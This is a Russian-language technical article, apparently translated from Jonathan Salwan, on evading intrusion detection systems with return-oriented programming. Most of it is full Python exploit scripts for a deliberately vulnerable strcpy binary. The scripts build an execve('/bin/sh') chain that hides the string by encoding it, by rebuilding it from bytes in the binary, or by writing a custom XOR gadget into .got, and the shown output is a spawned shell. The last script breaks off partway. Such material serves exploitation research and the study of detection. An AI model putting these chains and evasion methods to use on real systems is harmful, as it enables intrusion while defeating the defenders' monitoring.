Обход IDS с помощью возвратно-ориентированного программирования

Обход IDS с помощью возвратно-ориентированного программирования

Полиморфизм используется в шелл-коде, чтобы скрыть атаки на сеть. Факт в том, что сегодня IDS (Intrusion Detection System или Системы Обнаружения Вторжений) распознают большинство конструкций шелл-кодов (пример: push /bin/sh, и т. д.). Но полиморфизм может обходить такое обнаружение.

  Автор: Jonathan Salwan

Небольшое напоминание о полиморфизме

Полиморфизм используется в шелл-коде, чтобы скрыть атаки на сеть. Факт в том, что сегодня IDS (Intrusion Detection System или Системы Обнаружения Вторжений) распознают большинство конструкций шелл-кодов (пример: push /bin/sh, и т. д.). Но полиморфизм может обходить такое обнаружение.

В случае ROP (Return Oriented Programming или Возвратно-Ориентированного Программирования) каждая боевая нагрузка индивидуальна, и поэтому мы можем считать, что гаджеты1 не будут обнаружены IDS.

Тем не менее, во многих случаях при эксплуатации ROP мы записывем в секцию цепочку команд, которая используется при вызове execve. Например, в секцию .data мы записываем "/bin/sh".

При наличии IDS послать на выполнение такую цепочку будет трудно, поэтому мы зашифруем строку, а потом расшифруем ее.

Шифруем нашу строку

Возьмем для примера уязвимый код, представленный ниже. Этот код компилируется с флагом –static для большого списка гаджетов. Конечно, данный код не имеет отношения к сетевым IDS, он приведен лишь чтобы продемонстрировать принципы обхода IDS с помощью ROP.

                #include 

                int main(int ac, char **av)
                {
                  char buff[32];
                  strcpy(buff, av[1]);
                }

Запуск ROPgadget (http://shell-storm.org/project/ROPgadget/) позволяет нам легко получить подходящую нагрузку.

           
                # execve /bin/sh generated by RopGadget v3.1
                p += pack("<I", 0x08050eaa) # pop %edx | ret
                p += pack("<I", 0x080ce3e0) # @ .data
                p += pack("<I", 0x080a5566) # pop %eax | ret
                p += "/bin"
                p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa) # pop %edx | ret
                p += pack("<I", 0x080ce3e4) # @ .data + 4
                p += pack("<I", 0x080a5566) # pop %eax | ret
                p += "//sh"
                p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa) # pop %edx | ret
                p += pack("<I", 0x080ce3e8) # @ .data + 8
                p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
                p += pack("<I", 0x08048144) # pop %ebx | ret
                p += pack("<I", 0x080ce3e0) # @ .data
                p += pack("<I", 0x080bc924) # pop %ecx | ret
                p += pack("<I", 0x080ce3e8) # @ .data + 8
                p += pack("<I", 0x08050eaa) # pop %edx | ret
                p += pack("<I", 0x080ce3e8) # @ .data + 8
                p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x080491f9) # int $0x80

Здесь мы записываем строку "/bin/sh" напрямую в данные с помощью следующих гаджетов:

                
                p += pack("<I", 0x080a5566) # pop %eax | ret
                p += "/bin"
                p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret

                [...]

                p += pack("<I", 0x080a5566) # pop %eax | ret
                p += "//sh"
                p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret

Мы зашифруем эту строку, а позже расшифруем ее. Для шифрования мы уменьшим на единицу значение каждого символа строки. Итак, у нас получится строка следующего содержания: '.ahm..rg'.

Опять же, с помощью ROPgadget я нашел следующие гаджеты, которые помогут мне расшифровать нашу цепочку.

           
                0x08050eaa   pop %edx               ; помещаем адрес нашей строки в %edx
                             ret                                                         


                0x080c34a9   mov (%edx),%ecx        ; помещаем первый символ нашей строки в %ecx
                             ret
 
        
                0x080c9338   inc %ecx               ; инкрементируем этот символ
                             ret


                0x08058770   mov %ecx,%eax          ; помещаем его в %eax
                             pop %ebx 
                             pop %esi
                             pop %edi
                             pop %ebp
                             ret


                0x08079e0d   mov %eax,(%edx)        ; помещаем расшифрованный символ на место зашифрованного 
                             ret

Данная операция повторяется для каждого символа цепочки. В итоге мы получим нашу строку в ее первоначальном виде: "/bin/sh". В целом код выглядит так:

                
                jonathan@ArchLinux [rop-ids] $ cat test-ids.py
                #!/usr/bin/env python2


                from struct import pack

                p  = "a"*32
                p += "bbbb"

                # push data encrypted
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0)                 # @ .data
                p += pack("<I", 0x080a5566)                 # pop %eax | ret
                p += ".ahm"                                 # '/bin' chiffré
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e4)                 # @ .data + 4
                p += pack("<I", 0x080a5566)                 # pop %eax | ret
                p += "..rg"                                 # '//sh' chiffré
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e8)                 # @ .data + 8
                p += pack("<I", 0x080577b0)                 # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt data pour '.ahm..rg' => '/bin/sh'
                # decrypt '/'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0)                 # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt 'b'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+1)               # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt 'i'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+2)               # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt 'n'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+3)               # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt '/'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+4)               # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt '/'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+5)               # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt 's'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+6)               # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt 'h'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+7)               # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # set registers for execve
                p += pack("<I", 0x08048144)                 # pop %ebx | ret
                p += pack("<I", 0x080ce3e0)                 # @ .data
                p += pack("<I", 0x080bc924)                 # pop %ecx | ret
                p += pack("<I", 0x080ce3e8)                 # @ .data + 8
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e8)                 # @ .data + 8

                # set eax for execve syscall
                p += pack("<I", 0x080577b0)                 # xor %eax,%eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x080491f9)                 # int $0x80

                print p
                jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids.py)"
                sh-4.2$ 

Как вы можете догадаться, вы вольны выбирать тот тип шифрования, который захотите... Например, вы можете заносить в стек одинаковые символы, а затем изменять их до получения строки "/bin/sh".

В этом случае у вас получится что-то вроде этого:

                
                p += "...."                                 # '/bin' encrypted
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e4)                 # @ .data + 4
                p += pack("<I", 0x080a5566)                 # pop %eax | ret
                p += "...."                                 # '//sh' encrypted

Восстановление строки напрямую из двоичного файла

Мы можем пойти еще дальше, не посылая цепочек вообще. Вместо этого мы возьмем символы прямо из двоичного файла. Сначала с помощью gdb найдем требуемые символы в секции .text.

                
                (gdb$) find 0x8048150,0x80a807c, '/'
                (gdb$) find 0x8048150,0x80a807c, 'b'
                (gdb$) find 0x8048150,0x80a807c, 'i'
                (gdb$) find 0x8048150,0x80a807c, 'n'
                (gdb$) find 0x8048150,0x80a807c, '/'
                (gdb$) find 0x8048150,0x80a807c, 's'
                (gdb$) find 0x8048150,0x80a807c, 'h'

Мы получили следующие адреса:

               
                / : 0x804f676 
                b : 0x8051ce5
                i : 0x804dd26
                n : 0x804f124
                / : 0x804f676
                s : 0x805a241
                h : 0x8051e14

С помощью гаджетов из предыдущей главы мы сделаем здесь то же самое, изменив лишь порядок выполнения.

                0x08050eaa   pop %edx               ; помещаем в стек адрес нужного символа
                             ret                                                         


                0x080c34a9   mov (%edx),%ecx        ; помещаем символ в %ecx
                             ret
 

                0x08058770   mov %ecx,%eax          ; перемещаем символ в eax
                             pop %ebx
                             pop %esi
                             pop %edi
                             pop %ebp
                             ret


                0x08050eaa   pop %edx               ; помещаем в edx адрес нашего «стека» (места где вы хотите записать строку)
                             ret 


                0x08079e0d   mov %eax,(%edx)        ; помещаем символ в наш «стек»
                             ret

Эта процедура повторяется для всех символов. Отсюда видно, что можно найти любой байт внутри двоичного файла и записать его в произвольное место памяти. В итоге имеем следующий код:

                
                jonathan@ArchLinux [rop-ids] $ cat test-ids2.py 
                #!/usr/bin/env python2


                from struct import pack

                p  = "a"*32
                p += "bbbb"


                # push /bin/sh in .data
                # get '/' in .text
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x0804f676)                 # '/' in .text
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0)                 # @.data
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # get 'b' in .text
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x08051ce5)                 # 'b' in .text
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+1)               # @.data
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # get 'i' in .text
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x0804dd26)                 # 'i' in .text
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+2)               # @.data
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # get 'n' in .text
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x0804f124)                 # 'n' in .text
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+3)               # @.data
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # get '/' in .text
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x0804f676)                 # '/' in .text
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+4)               # @.data
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # get 's' in .text
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x0805a241)                 # 's' in .text
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+5)               # @.data
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # get 'h' in .text
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x08051e14)                 # 'h' in .text
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+6)               # @.data
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # set NULL bytes 
                # .data => /bin/sh\0\0\0\0
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+7)               # @ .data + 7
                p += pack("<I", 0x080577b0)                 # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+8)               # @ .data + 8
                p += pack("<I", 0x080577b0)                 # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+9)               # @ .data + 9
                p += pack("<I", 0x080577b0)                 # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+10)              # @ .data + 10
                p += pack("<I", 0x080577b0)                 # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # set registers for execve
                p += pack("<I", 0x08048144)                 # pop %ebx | ret
                p += pack("<I", 0x080ce3e0)                 # @ .data
                p += pack("<I", 0x080bc924)                 # pop %ecx | ret
                p += pack("<I", 0x080ce3e7)                 # @ .data + 8
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e7)                 # @ .data + 8

                # set eax for execve syscall
                p += pack("<I", 0x080577b0)                 # xor %eax,%eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x080491f9)                 # int $0x80

                print p
                jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids2.py)"
                sh-4.2$ 

Создание ваших собственных гаджетов

Возвращаясь к вышеописанному методу, заметим, что мы можем создавать наши собственные гаджеты. Для этого нам понадобится секция с правами rwx. Секция .got полностью удовлетворяет этому требованию (если NX отключен).

Мы можем получать байты в двоичном файле, а затем помещать их в секцию .got, что в итоге и будет служить гаджетом. Я возьму начинку из первого раздела, за исключением того, что мы будем использовать XOR для расшифрования цепочки. Чтобы сделать это, нам понадобится гаджет, которого нет в двоичном файле, поэтому мы создадим его сами.

Прежде всего, мы найдем адрес секции .got и значение инструкции "xor $ 0x77,%ecx, ret".

                jonathan@ArchLinux [rop-ids] $ size -Ax ./main | grep got
                .got        0x8   0x80ce3c8

                jonathan@ArchLinux [rop-ids] $ objdump -d ./test

                test:     file format elf32-i386


                Disassembly of section .text:

                08048054 <.text>:
                8048054:       83 f1 77                     xor    $0x77,%ecx
                8048057:       c3                           ret

Далее найдем байты, соответствующие инструкции "xor $ 0x77,% ecx, ret", в секции .text с помощью gdb:

                
                (gdb$) find 0x8048150,0x80a807c, '\x83'    result ==> 0x08048d28
                (gdb$) find 0x8048150,0x80a807c, '\xf1'    result ==> 0x0804fc47
                (gdb$) find 0x8048150,0x80a807c, '\x77'    result ==> 0x0804db48
                (gdb$) find 0x8048150,0x80a807c, '\xc3'    result ==> 0x0804a5dc

Итак, у нас есть ряд гаджетов, который позволит нам создать свой собственный гаджет:

                0x08050eaa   pop %edx               ; помещаем в edx адрес байта со значением 0x83
                             ret                                                         


                0x080c34a9   mov (%edx),%ecx        ; байт помещается в %ecx
                             ret
 

                0x08058770   mov %ecx,%eax          ; байт помещается в %ecx
                             pop %ebx
                             pop %esi
                             pop %edi
                             pop %ebp
                             ret


                0x08050eaa   pop %edx               ; помещаем адрес секции .got в %edx
                             ret 


                0x08079e0d   mov %eax,(%edx)        ; байт помещается в секцию .got 
                             ret

Повторив эти действия для каждого байта, мы получим наш гаджет в секции .got. После создания последнего гаджета у нас есть следующая последовательность гаджетов:

                0x08050eaa   pop %edx              ; помещаем адрес нашей строки в %edx
                             ret                                                         


                0x080c34a9   mov (%edx),%ecx       ; помещаем первый символ строки в %ecx
                             ret
 
        
                @.got        xor $0x77,%ecx        ; наш гаджет из секции .got 
                              ret


                0x08058770   mov %ecx,%eax         ; наш символ помещен в %eax
                             pop %ebx
                             pop %esi
                             pop %edi
                             pop %ebp
                             ret


                0x08079e0d   mov %eax,(%edx)       ; помещаем расшифрованный символ на место зашифрованного
                             ret

Итак, мы получили эксплоит следующего содержания:

            
                jonathan@ArchLinux [rop-ids] $ cat test-ids3.py 
                #!/usr/bin/env python2


                from struct import pack

                p  = "a"*32
                p += "bbbb"

                # push data encrypted
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0)                  # @ .data
                p += pack("<I", 0x080a5566)                  # pop %eax | ret
                p += "\x58\x15\x1e\x19"                      # '/bin' crypted
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e4)                  # @ .data + 4
                p += pack("<I", 0x080a5566)                  # pop %eax | ret
                p += "\x58\x58\x04\x1f"                      # '//sh' crypted
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e8)                  # @ .data + 8
                p += pack("<I", 0x080577b0)                  # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # creation of gadget in .got section
                # byte 0x83
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x08048d28)                  # @ 0x83 byte
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3c8)                  # @.got
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # byte 0xf1
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x0804fc47)                  # @ 0xf1 byte
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3c8+1)                # @.got
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # byte 0x77
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x0804db48)                  # @ 0x77 byte
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3c8+2)                # @.got
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # byte 0xc3
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x0804a5dc)                  # @ 0xc3 byte
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3c8+3)                # @.got
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # now "xor $0x77,%ecx ; ret" is in 0x080ce3c8

                # data decrypted for '\x58\x15\x1e\x19\x58\x58\x04\x1f' => '/bin/sh'
                # decrypt '/'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0)                  # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # decrypt 'b'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+1)                # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # decrypt 'i'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+2)                # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                #  decrypt 'n'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+3)                # @ .data
